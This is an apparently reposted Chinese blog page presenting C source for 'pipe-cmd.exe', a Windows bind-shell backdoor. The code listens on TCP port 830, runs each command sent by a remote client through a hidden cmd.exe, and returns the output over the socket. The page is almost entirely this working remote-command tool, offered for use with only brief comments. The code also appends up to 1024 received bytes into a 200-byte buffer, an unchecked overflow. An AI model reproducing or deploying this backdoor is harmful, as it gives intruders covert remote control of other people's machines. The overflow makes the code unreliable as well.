pipe-cmd.exe

来源：互联网发布：淘宝精品推荐女装编辑：程序博客网时间：2024/06/13 12:29

#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib,"Ws2_32")

int main()
{
   WSADATA ws;
   SOCKET listenFD;
   char Buff[1024];
   int ret;

   //初始化wsa
   WSAStartup(MAKEWORD(2,2),&ws);
   //建立socket
   listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   //监听本机830端口
   struct sockaddr_in server;
   server.sin_family = AF_INET;
   server.sin_port = htons(830);
   server.sin_addr.s_addr=ADDR_ANY;
   ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
   ret=listen(listenFD,2);
   //如果客户请求830端口，接受连接
   int iAddrSize = sizeof(server);
   SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);

   SECURITY_ATTRIBUTES pipeattr1;
   HANDLE hReadPipe1,hWritePipe1;
   //建立匿名管道1
   pipeattr1.nLength = 12;
   pipeattr1.lpSecurityDescriptor = 0;
   pipeattr1.bInheritHandle = true;
   CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);

   STARTUPINFO si;
   ZeroMemory(&si,sizeof(si));
   si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
   si.wShowWindow = SW_HIDE;
   //si.hStdInput = hReadPipe2;
   si.hStdOutput = si.hStdError = hWritePipe1;
   PROCESS_INFORMATION ProcessInformation;

   char cmdLine[200];
   unsigned long lBytesRead;
   /*
       以命令为参数运行cmd.exe
       (远程主机)-->   传送命令－>以命令为参数建立cmd.exe子进程运行
       (远程主机)<--                     输入<-管道1输出<－管道1输入<－输出(cmd.exe子进程)
   */
   while(1)
   {
       //检查管道1，即cmd进程是否有输出
       ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
       if(lBytesRead)
       {
           //管道1有输出，读出结果发给远程客户机
           ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
           if(!ret) break;
           ret=send(clientFD,Buff,lBytesRead,0);
           if(ret<=0) break;
       }
       else
       {
           //否则，接收远程客户机的命令
           lBytesRead=recv(clientFD,Buff,1024,0);
           if(lBytesRead<=0) break;

           strcpy(cmdLine, "cmd.exe /c");           //cd/ & dir
           strncat(cmdLine, Buff, lBytesRead);

           //以命令为参数，启动cmd执行
           CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);

       }
   }

   return 0;
}

讨论：https://www.xfocus.net/bbs/index.php/index.php?act=ST&f=3&t=30543&view=old